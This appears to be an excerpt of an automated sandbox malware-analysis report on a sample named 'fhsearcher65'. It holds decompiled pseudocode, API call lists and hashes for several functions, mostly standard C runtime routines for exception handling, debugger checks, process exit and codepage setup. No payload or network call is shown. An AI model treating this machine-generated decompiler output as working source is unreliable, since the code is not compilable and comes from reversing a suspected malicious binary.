C-Code - Quality: 85%

			E10003AD4(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				char _v0;
				struct _EXCEPTION_POINTERS _v12;
				intOrPtr _v80;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v608;
				intOrPtr _v612;
				void* _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				char _v808;
				char* _t39;
				long _t49;
				intOrPtr _t51;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t60;

				_t59 = __esi;
				_t58 = __edi;
				_t57 = __edx;
				if(IsProcessorFeaturePresent(0x17) != 0) {
					_t55 = _a4;
					asm("int 0x29");
				}
				E10003BEF(_t34);
				 *_t60 = 0x2cc;
				_v632 = E10004730(_t58,  &_v808, 0, 3);
				_v636 = _t55;
				_v640 = _t57;
				_v644 = _t51;
				_v648 = _t59;
				_v652 = _t58;
				_v608 = ss;
				_v620 = cs;
				_v656 = ds;
				_v660 = es;
				_v664 = fs;
				_v668 = gs;
				asm("pushfd");
				_pop( *_t15);
				_v624 = _v0;
				_t39 =  &_v0;
				_v612 = _t39;
				_v808 = 0x10001;
				_v628 =  *((intOrPtr*)(_t39 - 4));
				E10004730(_t58,  &_v92, 0, 0x50);
				_v92 = 0x40000015;
				_v88 = 1;
				_v80 = _v0;
				_t28 = IsDebuggerPresent() - 1; // -1
				_v12.ExceptionRecord =  &_v92;
				asm("sbb bl, bl");
				_v12.ContextRecord =  &_v808;
				_t54 =  ~_t28 + 1;
				SetUnhandledExceptionFilter(0);
				_t49 = UnhandledExceptionFilter( &_v12);
				if(_t49 == 0 && _t54 == 0) {
					_push(3);
					return E10003BEF(_t49);
				}
				return _t49;
			}

0x10003ad4
0x10003ad4
0x10003ad4
0x10003ae8
0x10003aea
0x10003aed
0x10003aed
0x10003af1
0x10003af6
0x10003b0e
0x10003b14
0x10003b1a
0x10003b20
0x10003b26
0x10003b2c
0x10003b32
0x10003b39
0x10003b40
0x10003b47
0x10003b4e
0x10003b55
0x10003b5c
0x10003b5d
0x10003b66
0x10003b6c
0x10003b6f
0x10003b75
0x10003b84
0x10003b90
0x10003b9b
0x10003ba2
0x10003ba9
0x10003bb4
0x10003bbc
0x10003bc5
0x10003bc7
0x10003bca
0x10003bcc
0x10003bd6
0x10003bde
0x10003be4
0x00000000
0x10003beb
0x10003bee

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 10003AE0
IsDebuggerPresent.KERNEL32 ref: 10003BAC
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 10003BCC
UnhandledExceptionFilter.KERNEL32(?), ref: 10003BD6

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 87d6071aa85ca3aceb4d5d49843fcbf5a144f8cfc35fef28e923873c0919a720
Instruction ID: 6c05d683b9c83b65af34da63d054ec9b8364850d5d560307e6d3fdc6a332805a
Opcode Fuzzy Hash: 87d6071aa85ca3aceb4d5d49843fcbf5a144f8cfc35fef28e923873c0919a720
Instruction Fuzzy Hash: 7E311875D052189BEB11DFA4D989BCDBBB8EF08344F1080AAE54CAB254EB719A848F05

Uniqueness

Uniqueness Score: -1.00%

Function 10006180 Relevance: 4.6, APIs: 3, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 78%

			E10006180(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				struct _EXCEPTION_POINTERS _v812;
				void* __edi;
				signed int _t40;
				char* _t47;
				char* _t49;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t66;
				int _t67;
				intOrPtr _t68;
				signed int _t69;

				_t68 = __esi;
				_t65 = __edx;
				_t60 = __ebx;
				_t40 =  *0x10017004; // 0xdfd3a356
				_t41 = _t40 ^ _t69;
				_v8 = _t40 ^ _t69;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E10003BEF(_t41);
					_pop(_t61);
				}
				E10004730(_t66,  &_v804, 0, 0x50);
				E10004730(_t66,  &_v724, 0, 0x2cc);
				_v812.ExceptionRecord =  &_v804;
				_t47 =  &_v724;
				_v812.ContextRecord = _t47;
				_v548 = _t47;
				_v552 = _t61;
				_v556 = _t65;
				_v560 = _t60;
				_v564 = _t68;
				_v568 = _t66;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t49 =  &_v0;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t67 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				if(UnhandledExceptionFilter( &_v812) == 0 && _t67 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					_t57 = E10003BEF(_t57);
				}
				return E100031FF(_t57, _t60, _v8 ^ _t69, _t65, _t67, _t68);
			}

0x10006180
0x10006180
0x10006180
0x1000618b
0x10006190
0x10006192
0x1000619a
0x1000619c
0x1000619f
0x100061a4
0x100061a4
0x100061b0
0x100061c3
0x100061d1
0x100061d7
0x100061dd
0x100061e3
0x100061e9
0x100061ef
0x100061f5
0x100061fb
0x10006201
0x10006207
0x1000620e
0x10006215
0x1000621c
0x10006223
0x1000622a
0x10006231
0x10006232
0x1000623b
0x10006241
0x10006244
0x1000624a
0x10006257
0x10006260
0x10006269
0x10006272
0x10006280
0x10006282
0x10006297
0x100062a3
0x100062a6
0x100062ab
0x100062b8

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 10006278
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 10006282
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 1000628F

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 9a692d0d77a07a7f37119dcdd5ace2a3b37eeee0a1bfcb31a8054ad36fdd368c
Instruction ID: abb11d6b70c581ee1350689d9832688372e2db19cf6905fbf3b29f181f2760c3
Opcode Fuzzy Hash: 9a692d0d77a07a7f37119dcdd5ace2a3b37eeee0a1bfcb31a8054ad36fdd368c
Instruction Fuzzy Hash: F431C4749012289BDB21DF68DC89BCDBBB8FF08350F5041EAE41CA7251EB709B858F45

Uniqueness

Uniqueness Score: -1.00%

Function 10006CE1 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E10006CE1(int _a4) {
				void* _t14;

				if(E100091C7(_t14) != 1 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E10006D66(_t14, _a4);
				ExitProcess(_a4);
			}

0x10006cee
0x10006d0a
0x10006d0a
0x10006d13
0x10006d1c

APIs

GetCurrentProcess.KERNEL32(10007C68,?,10006CE0,10002482,?,10007C68,10002482,10007C68), ref: 10006D03
TerminateProcess.KERNEL32(00000000,?,10006CE0,10002482,?,10007C68,10002482,10007C68), ref: 10006D0A
ExitProcess.KERNEL32 ref: 10006D1C

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: b48507955d557410ab621ea9767185c5b28cf2fcba806ca0d5141bf90050bc88
Instruction ID: 8090ae278696ef8d63f7159b1b54225b98daf67b6e3b66e302f5d8a45b402e03
Opcode Fuzzy Hash: b48507955d557410ab621ea9767185c5b28cf2fcba806ca0d5141bf90050bc88
Instruction Fuzzy Hash: 6EE08C31600148AFEB12EF60CD48B493B6AFB092C1F208415F8058A131CBB6ED91CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0043E835 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9408eba30b3689c2fdc86334c34a1e7d7681ab6b23ffd7ff13960ca113f69356
Instruction ID: ca8682d19ebdaca015a5e171c56e26227a8f993f43673acae043116fd3c07a12
Opcode Fuzzy Hash: 9408eba30b3689c2fdc86334c34a1e7d7681ab6b23ffd7ff13960ca113f69356
Instruction Fuzzy Hash: 71519FB1A052158FDB68CF59D9857AABBF0FB4C310F24852AC445EB390D3B8E911CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004207CF Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E004207CF(void* __ecx) {
				char _v8;
				intOrPtr _t7;
				char _t13;

				_t13 = 0;
				_v8 = 0;
				_t7 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				_t16 =  *((intOrPtr*)(_t7 + 8));
				if( *((intOrPtr*)(_t7 + 8)) < 0) {
					L2:
					_t13 = 1;
				} else {
					E0041E9C2(_t16,  &_v8);
					if(_v8 != 1) {
						goto L2;
					}
				}
				return _t13;
			}

0x004207dc
0x004207de
0x004207e1
0x004207e4
0x004207e7
0x004207f8
0x004207fa
0x004207e9
0x004207ed
0x004207f6
0x00000000
0x00000000
0x004207f6
0x004207ff

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fc7f42db509279383e3cc01eb7112f14e58f64f47ca781cad5004ddb32a561f
Instruction ID: cca949eaa4edf4901eba3277d21a0bf6fa1c030c02f76d47bc01d49dec5e13c0
Opcode Fuzzy Hash: 7fc7f42db509279383e3cc01eb7112f14e58f64f47ca781cad5004ddb32a561f
Instruction Fuzzy Hash: 41E08C72A11638EBCB14EB8ED908D8AF3FCEB84B04B55049BB505D3201C2B4EE41CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 004429E7 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ca6e8abd497ec3a1c156abf087cd513271e0a7e0f941d3f632673506c1267ca
Instruction ID: c2f19552910a0c3bc7347bbf13de0f87239dfd182ffd37263a02f476a58fa8e8
Opcode Fuzzy Hash: 2ca6e8abd497ec3a1c156abf087cd513271e0a7e0f941d3f632673506c1267ca
Instruction Fuzzy Hash: 3AE08C72911238EBCB24DF89DA0499AF3ECEB44B55B51449BF901F3200C6B4DE00C7E4

Uniqueness

Uniqueness Score: -1.00%

Function 100091C7 Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E100091C7(void* __ecx) {
				char _v8;
				intOrPtr _t7;
				char _t13;

				_t13 = 0;
				_v8 = 0;
				_t7 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				_t16 =  *((intOrPtr*)(_t7 + 8));
				if( *((intOrPtr*)(_t7 + 8)) < 0) {
					L2:
					_t13 = 1;
				} else {
					E10008159(_t16,  &_v8);
					if(_v8 != 1) {
						goto L2;
					}
				}
				return _t13;
			}

0x100091d4
0x100091d6
0x100091d9
0x100091dc
0x100091df
0x100091f0
0x100091f2
0x100091e1
0x100091e5
0x100091ee
0x00000000
0x00000000
0x100091ee
0x100091f7

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5142b2ecf730a3c36b94ed0dd87861f2f8d441af9f974cc276bfbc499525e151
Instruction ID: 28c602149d0e72d51d161a6ecb967c1a520d45018b1f8e98f239418fe4463083
Opcode Fuzzy Hash: 5142b2ecf730a3c36b94ed0dd87861f2f8d441af9f974cc276bfbc499525e151
Instruction Fuzzy Hash: 5AE0EC72A11228EBCB15DB98D95498AB7ECFB49B90B1545AAB511D3215C270DE01C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 0044028F Relevance: .0, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2bf1e3dbd56a5e62411fbd5e71e5e7a82189cacba0b21ec395735c552563347
Instruction ID: 16c2de7a8d20c9c44f0cfcec9700f4c07f8ea1dcaa74a4bc5a03d74aca8627af
Opcode Fuzzy Hash: b2bf1e3dbd56a5e62411fbd5e71e5e7a82189cacba0b21ec395735c552563347
Instruction Fuzzy Hash: 22E04F31000108EBDF216F94CE8DA493B29FB40345F000469FE04AA671CB79DC91DA48

Uniqueness

Uniqueness Score: -1.00%

Function 004193F0 Relevance: 22.9, APIs: 15, Instructions: 357
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E004193F0(void* __edx, intOrPtr* _a4) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				intOrPtr* _v56;
				signed int _v60;
				signed int _v64;
				signed int* _v68;
				intOrPtr _v72;
				signed int* _v76;
				signed int** _v80;
				signed int** _v84;
				void* _v88;
				char _v92;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t126;
				signed int* _t129;
				intOrPtr* _t131;
				signed int* _t147;
				signed short _t150;
				signed int _t151;
				void* _t153;
				void* _t156;
				void* _t159;
				void* _t160;
				void* _t164;
				signed int _t165;
				signed int* _t166;
				signed char _t183;
				signed int* _t186;
				void* _t190;
				char _t195;
				signed char _t197;
				void* _t204;
				signed int* _t205;
				void* _t207;
				signed int* _t209;
				void* _t212;
				intOrPtr _t213;
				intOrPtr _t217;
				signed int* _t221;
				intOrPtr _t222;
				signed int _t223;
				void* _t227;
				signed int _t230;
				char* _t231;
				intOrPtr _t232;
				signed int* _t235;
				signed char* _t236;
				signed int** _t239;
				signed int** _t240;
				signed char* _t249;
				void* _t251;
				intOrPtr* _t252;
				void* _t255;
				signed int _t256;
				short* _t257;
				signed int _t260;
				signed int _t261;
				void* _t262;
				void* _t263;

				_t233 = __edx;
				_t126 =  *0x43d054; // 0xd71f2cec
				_v8 = _t126 ^ _t261;
				_t252 = _a4;
				_t205 = 0;
				_v56 = _t252;
				_t237 = 0;
				_v32 = 0;
				_t213 =  *((intOrPtr*)(_t252 + 0xa8));
				_v36 = 0;
				_v40 = 0;
				_v92 = _t252;
				_v88 = 0;
				if(_t213 == 0) {
					__eflags =  *(_t252 + 0x8c);
					if( *(_t252 + 0x8c) != 0) {
						asm("lock dec dword [eax]");
					}
					 *(_t252 + 0x8c) = _t205;
					_t129 = 0;
					__eflags = 0;
					 *(_t252 + 0x90) = _t205;
					 *_t252 = 0x430310;
					 *(_t252 + 0x94) = 0x430590;
					 *(_t252 + 0x98) = 0x430710;
					 *(_t252 + 4) = 1;
					L48:
					return E0040EF6F(_t129, _t205, _v8 ^ _t261, _t233, _t237, _t252);
				}
				_t131 = _t252 + 8;
				_v52 = 0;
				if( *_t131 != 0) {
					L3:
					_v52 = E0041E60B(1, 4);
					E0041E668(_t205);
					_v32 = E0041E60B(0x180, 2);
					E0041E668(_t205);
					_t237 = E0041E60B(0x180, 1);
					_v44 = _t237;
					E0041E668(_t205);
					_v36 = E0041E60B(0x180, 1);
					E0041E668(_t205);
					_v40 = E0041E60B(0x101, 1);
					E0041E668(_t205);
					_t263 = _t262 + 0x3c;
					if(_v52 == _t205 || _v32 == _t205) {
						L43:
						E0041E668(_v52);
						E0041E668(_v32);
						E0041E668(_t237);
						E0041E668(_v36);
						_t205 = 1;
						__eflags = 1;
						goto L44;
					} else {
						_t217 = _v40;
						if(_t217 == 0 || _t237 == 0 || _v36 == _t205) {
							goto L43;
						} else {
							_t147 = _t205;
							do {
								 *(_t147 + _t217) = _t147;
								_t147 =  &(_t147[0]);
							} while (_t147 < 0x100);
							if(GetCPInfo( *(_t252 + 8),  &_v28) == 0) {
								goto L43;
							}
							_t150 = _v28;
							if(_t150 > 5) {
								goto L43;
							}
							_t151 = _t150 & 0x0000ffff;
							_v60 = _t151;
							if(_t151 <= 1) {
								L22:
								_t37 = _t237 + 0x81; // 0x81
								_t233 = 0xff;
								_v48 = _v40 + 1;
								_t153 = E0042179C(_t281, _t205,  *((intOrPtr*)(_t252 + 0xa8)), 0x100, _v40 + 1, 0xff, _t37, 0xff,  *(_t252 + 8), _t205);
								_t263 = _t263 + 0x24;
								_t282 = _t153;
								if(_t153 == 0) {
									goto L43;
								}
								_t156 = E0042179C(_t282, _t205,  *((intOrPtr*)(_t252 + 0xa8)), 0x200, _v48, 0xff, _v36 + 0x81, 0xff,  *(_t252 + 8), _t205);
								_t263 = _t263 + 0x24;
								_t283 = _t156;
								if(_t156 == 0) {
									goto L43;
								}
								_v72 = _v32 + 0x100;
								_t159 = E00421C25(_t283, _t205, 1, _v40, 0x100, _v32 + 0x100,  *(_t252 + 8), _t205);
								_t263 = _t263 + 0x1c;
								if(_t159 == 0) {
									goto L43;
								}
								_t160 = _v32;
								_t221 = _t160 + 0xfe;
								 *_t221 = 0;
								_t233 = _v44;
								_v76 = _t221;
								_t222 = _v36;
								_t239 = _t233 + 0x80;
								 *(_t233 + 0x7f) = _t205;
								_v80 = _t239;
								 *(_t222 + 0x7f) = _t205;
								 *_t239 = _t205;
								_t240 = _t222 + 0x80;
								_v84 = _t240;
								 *_t240 = _t205;
								if(_v60 <= 1) {
									L39:
									_t223 = 0x3f;
									_push(0x1f);
									memcpy(_v32, _v32 + 0x200, _t223 << 2);
									asm("movsw");
									_t164 = memcpy(_t233, _t233 + 0x100, 0 << 2);
									_t227 = 0x1f;
									asm("movsw");
									asm("movsb");
									_t255 = _t164 + 0x100;
									_t165 = memcpy(_t164, _t255, 0 << 2);
									_t237 = _t255 + _t227 + _t227;
									asm("movsw");
									asm("movsb");
									_t252 = _v56;
									if( *(_t252 + 0x8c) != 0) {
										asm("lock xadd [ecx], eax");
										if((_t165 | 0xffffffff) == 0) {
											E0041E668( *(_t252 + 0x90) - 0xfe);
											_t237 = 0x80;
											E0041E668( *(_t252 + 0x94) - 0x80);
											E0041E668( *(_t252 + 0x98) - 0x80);
											E0041E668( *(_t252 + 0x8c));
										}
									}
									_t166 = _v52;
									 *_t166 = 1;
									 *(_t252 + 0x8c) = _t166;
									 *_t252 = _v72;
									 *(_t252 + 0x90) = _v76;
									 *(_t252 + 0x94) = _v80;
									 *(_t252 + 0x98) = _v84;
									 *(_t252 + 4) = _v60;
									L44:
									E0041E668(_v40);
									_t129 = _t205;
									goto L48;
								}
								if( *(_t252 + 8) != 0xfde9) {
									_t249 =  &_v22;
									__eflags = _v22 - _t205;
									if(_v22 == _t205) {
										goto L39;
									}
									_t207 = _v32;
									while(1) {
										_t183 = _t249[1];
										__eflags = _t183;
										if(_t183 == 0) {
											break;
										}
										_t256 =  *_t249 & 0x000000ff;
										_v64 = _t256;
										__eflags = _t256 - (_t183 & 0x000000ff);
										if(_t256 > (_t183 & 0x000000ff)) {
											L37:
											_t249 =  &(_t249[2]);
											__eflags =  *_t249;
											if( *_t249 != 0) {
												continue;
											}
											break;
										}
										_v48 = _t233;
										_t186 = _t222 + 0x80 + _t256;
										_t235 = _t233 - _t222;
										__eflags = _t235;
										_t230 = _v64;
										_t257 = _t207 - 0xffffff00 + _t256 * 2;
										_v68 = _t186;
										_t209 = _t186;
										do {
											 *_t257 = 0x8000;
											_t257 = _t257 + 2;
											 *(_t235 + _t209) = _t230;
											 *_t209 = _t230;
											_t230 = _t230 + 1;
											_t209 =  &(_t209[0]);
											__eflags = _t230 - (_t249[1] & 0x000000ff);
										} while (_t230 <= (_t249[1] & 0x000000ff));
										_t233 = _v44;
										_t222 = _v36;
										_t207 = _v32;
										goto L37;
									}
									L38:
									_t205 = 0;
									goto L39;
								}
								_v44 = _t160 + 0x200;
								_t231 = _t233 + 0x100;
								_t251 = _t222 - _t233;
								_t190 = 0xffffff80;
								_v48 = _t190 - _t233;
								do {
									_push(0x32);
									asm("sbb eax, eax");
									_v44 = _v44 + 2;
									 *_v44 = (0xfffffebe + _t231 & 0xffff8000) + 0x8000;
									_t212 = _v48;
									_t195 = _t231 + _t212;
									 *_t231 = _t195;
									 *((char*)(_t251 + _t231)) = _t195;
									_t231 = _t231 + 1;
								} while (_t212 + _t231 <= 0xff);
								goto L38;
							}
							_t281 =  *(_t252 + 8) - 0xfde9;
							if( *(_t252 + 8) != 0xfde9) {
								_t236 =  &_v22;
								__eflags = _v22 - _t205;
								if(__eflags == 0) {
									goto L22;
								}
								_t232 = _v40;
								while(1) {
									_t197 = _t236[1];
									__eflags = _t197;
									if(__eflags == 0) {
										break;
									}
									_t260 =  *_t236 & 0x000000ff;
									__eflags = _t260 - (_t197 & 0x000000ff);
									if(_t260 > (_t197 & 0x000000ff)) {
										L20:
										_t236 =  &(_t236[2]);
										__eflags =  *_t236 - _t205;
										if(__eflags != 0) {
											continue;
										}
										break;
									} else {
										goto L19;
									}
									do {
										L19:
										 *((char*)(_t260 + _t232)) = 0x20;
										_t260 = _t260 + 1;
										__eflags = _t260 - (_t236[1] & 0x000000ff);
									} while (_t260 <= (_t236[1] & 0x000000ff));
									goto L20;
								}
								_t252 = _v56;
								goto L22;
							}
							E00410EB0(_t237, _v40 - 0xffffff80, 0x20, 0x80);
							_t263 = _t263 + 0xc;
							goto L22;
						}
					}
				}
				_push(_t131);
				_push(0x1004);
				_push(_t213);
				_push(0);
				_push( &_v92);
				_t204 = E00421A75(__edx);
				_t263 = _t262 + 0x14;
				if(_t204 != 0) {
					goto L43;
				}
				goto L3;
			}

0x004193f0
0x004193f8
0x004193ff
0x00419404
0x00419407
0x0041940a
0x0041940d
0x0041940f
0x00419412
0x00419418
0x0041941b
0x0041941e
0x00419421
0x00419426
0x00419809
0x0041980b
0x0041980d
0x0041980d
0x00419810
0x00419816
0x00419816
0x00419818
0x0041981e
0x00419824
0x0041982e
0x00419838
0x0041983f
0x0041984d
0x0041984d
0x0041942c
0x0041942f
0x00419434
0x00419452
0x0041945c
0x0041945f
0x00419472
0x00419475
0x00419482
0x00419485
0x00419488
0x0041949a
0x0041949d
0x004194af
0x004194b2
0x004194b7
0x004194bd
0x004197d2
0x004197d5
0x004197dd
0x004197e3
0x004197eb
0x004197f5
0x004197f5
0x00000000
0x004194cc
0x004194cc
0x004194d1
0x00000000
0x004194e8
0x004194e8
0x004194ea
0x004194ea
0x004194ed
0x004194ee
0x00419504
0x00000000
0x00000000
0x0041950a
0x00419510
0x00000000
0x00000000
0x00419516
0x00419519
0x0041951f
0x00419575
0x00419578
0x00419582
0x00419597
0x0041959b
0x004195a0
0x004195a3
0x004195a5
0x00000000
0x00000000
0x004195ce
0x004195d3
0x004195d6
0x004195d8
0x00000000
0x00000000
0x004195f3
0x004195f9
0x004195fe
0x00419603
0x00000000
0x00000000
0x00419609
0x00419612
0x00419618
0x0041961b
0x0041961e
0x00419621
0x00419624
0x0041962a
0x0041962d
0x00419630
0x00419633
0x00419635
0x0041963b
0x0041963e
0x00419640
0x00419710
0x00419717
0x00419718
0x00419723
0x00419728
0x00419732
0x00419734
0x00419735
0x00419737
0x00419738
0x00419740
0x00419740
0x00419742
0x00419744
0x00419745
0x00419750
0x00419755
0x00419759
0x00419767
0x00419772
0x0041977a
0x00419788
0x00419793
0x00419798
0x00419759
0x0041979b
0x0041979e
0x004197a4
0x004197ad
0x004197b2
0x004197bb
0x004197c4
0x004197cd
0x004197f6
0x004197f9
0x004197ff
0x00000000
0x004197ff
0x0041964d
0x004196a6
0x004196a9
0x004196ac
0x00000000
0x00000000
0x004196ae
0x004196b1
0x004196b1
0x004196b4
0x004196b6
0x00000000
0x00000000
0x004196b8
0x004196be
0x004196c1
0x004196c3
0x00419706
0x00419706
0x00419709
0x0041970c
0x00000000
0x00000000
0x00000000
0x0041970c
0x004196cb
0x004196d4
0x004196d6
0x004196d6
0x004196d8
0x004196db
0x004196de
0x004196e1
0x004196e3
0x004196e8
0x004196eb
0x004196ee
0x004196f1
0x004196f3
0x004196f8
0x004196f9
0x004196f9
0x004196fd
0x00419700
0x00419703
0x00000000
0x00419703
0x0041970e
0x0041970e
0x00000000
0x0041970e
0x00419656
0x00419659
0x00419666
0x00419668
0x0041966d
0x00419670
0x00419673
0x0041967b
0x0041967d
0x0041968b
0x0041968e
0x00419691
0x00419694
0x00419696
0x00419699
0x0041969d
0x00000000
0x004196a4
0x00419521
0x00419528
0x00419542
0x00419545
0x00419548
0x00000000
0x00000000
0x0041954a
0x0041954d
0x0041954d
0x00419550
0x00419552
0x00000000
0x00000000
0x00419554
0x0041955a
0x0041955c
0x0041956b
0x0041956b
0x0041956e
0x00419570
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0041955e
0x0041955e
0x0041955e
0x00419562
0x00419567
0x00419567
0x00000000
0x0041955e
0x00419572
0x00000000
0x00419572
0x00419538
0x0041953d
0x00000000
0x0041953d
0x004194d1
0x004194bd
0x00419436
0x00419437
0x0041943c
0x00419440
0x00419441
0x00419442
0x00419447
0x0041944c
0x00000000
0x00000000
0x00000000

APIs

_free.LIBCMT ref: 0041945F
_free.LIBCMT ref: 00419475
_free.LIBCMT ref: 00419488
_free.LIBCMT ref: 0041949D
_free.LIBCMT ref: 004194B2
GetCPInfo.KERNEL32(?,?), ref: 004194FC

Part of subcall function 00421A75: _free.LIBCMT ref: 00421AE0

_free.LIBCMT ref: 00419767
